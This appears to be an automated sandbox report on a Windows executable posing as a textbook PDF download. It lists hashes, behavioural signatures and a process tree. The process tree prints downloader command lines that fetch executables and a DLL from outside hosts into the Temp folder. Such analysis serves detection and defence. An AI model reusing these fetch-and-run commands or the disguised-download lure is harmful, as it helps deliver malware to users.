19aa48d022feb2c01e48d5cc5a43e19a9264cc86966645af72ea8fcb2cd94b15

Analysis

max time kernel
1s
max time network
148s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25/12/2023, 14:37

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General

Target

262f034f439827beb518ff59fefcf4b6.exe
Size

492KB
MD5

262f034f439827beb518ff59fefcf4b6
SHA1

d2ce7868c11d5f5acd85c1fe7f470a34f3237d03
SHA256

19aa48d022feb2c01e48d5cc5a43e19a9264cc86966645af72ea8fcb2cd94b15
SHA512

3ab52b53ed8b2ee788ee4e066c4636fdc0b743484e8d4f42df24a3d818e9cb01843692ba1ac6c3aad3904bb1067b0a46b2448372ed31ebcde690896d9c7282e3
SSDEEP

6144:yuk4fqjqzQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:I4fwA6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2416	downloaderSTUB.exe
2928	downloaderSTUB.exe
3016	downloaderSTUB.exe
2576	downloaderDDLR.exe
2664	downloaderOFFER0.exe
2684	preinstaller.exe

Loads dropped DLL 8 IoCs

pid	Process
2900	262f034f439827beb518ff59fefcf4b6.exe
2900	262f034f439827beb518ff59fefcf4b6.exe
2900	262f034f439827beb518ff59fefcf4b6.exe
2900	262f034f439827beb518ff59fefcf4b6.exe
2900	262f034f439827beb518ff59fefcf4b6.exe
2900	262f034f439827beb518ff59fefcf4b6.exe
2416	downloaderSTUB.exe
2928	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x00090000000142cc-17.dat	nsis_installer_1
behavioral1/files/0x00090000000142cc-17.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2416	2900	262f034f439827beb518ff59fefcf4b6.exe	22
PID 2900 wrote to memory of 2416	2900	262f034f439827beb518ff59fefcf4b6.exe	22
PID 2900 wrote to memory of 2416	2900	262f034f439827beb518ff59fefcf4b6.exe	22
PID 2900 wrote to memory of 2416	2900	262f034f439827beb518ff59fefcf4b6.exe	22
PID 2900 wrote to memory of 2928	2900	262f034f439827beb518ff59fefcf4b6.exe	21
PID 2900 wrote to memory of 2928	2900	262f034f439827beb518ff59fefcf4b6.exe	21
PID 2900 wrote to memory of 2928	2900	262f034f439827beb518ff59fefcf4b6.exe	21
PID 2900 wrote to memory of 2928	2900	262f034f439827beb518ff59fefcf4b6.exe	21
PID 2900 wrote to memory of 3016	2900	262f034f439827beb518ff59fefcf4b6.exe	20
PID 2900 wrote to memory of 3016	2900	262f034f439827beb518ff59fefcf4b6.exe	20
PID 2900 wrote to memory of 3016	2900	262f034f439827beb518ff59fefcf4b6.exe	20
PID 2900 wrote to memory of 3016	2900	262f034f439827beb518ff59fefcf4b6.exe	20
PID 2900 wrote to memory of 2576	2900	262f034f439827beb518ff59fefcf4b6.exe	19
PID 2900 wrote to memory of 2576	2900	262f034f439827beb518ff59fefcf4b6.exe	19
PID 2900 wrote to memory of 2576	2900	262f034f439827beb518ff59fefcf4b6.exe	19
PID 2900 wrote to memory of 2576	2900	262f034f439827beb518ff59fefcf4b6.exe	19
PID 2900 wrote to memory of 2664	2900	262f034f439827beb518ff59fefcf4b6.exe	18
PID 2900 wrote to memory of 2664	2900	262f034f439827beb518ff59fefcf4b6.exe	18
PID 2900 wrote to memory of 2664	2900	262f034f439827beb518ff59fefcf4b6.exe	18
PID 2900 wrote to memory of 2664	2900	262f034f439827beb518ff59fefcf4b6.exe	18
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17
PID 2900 wrote to memory of 2684	2900	262f034f439827beb518ff59fefcf4b6.exe	17

C:\Users\Admin\AppData\Local\Temp\262f034f439827beb518ff59fefcf4b6.exe
"C:\Users\Admin\AppData\Local\Temp\262f034f439827beb518ff59fefcf4b6.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\preinstaller.exe 0 "Operating System Concepts (Silberschatz, Galvin, Gagne).pdf" "Download"
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\optimizer.exe"
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\updater.exe"
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2928
- C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\023114f7686b16e232b3cb0b6b7620ba\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\nsyBB5.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2684-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/2900-58-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download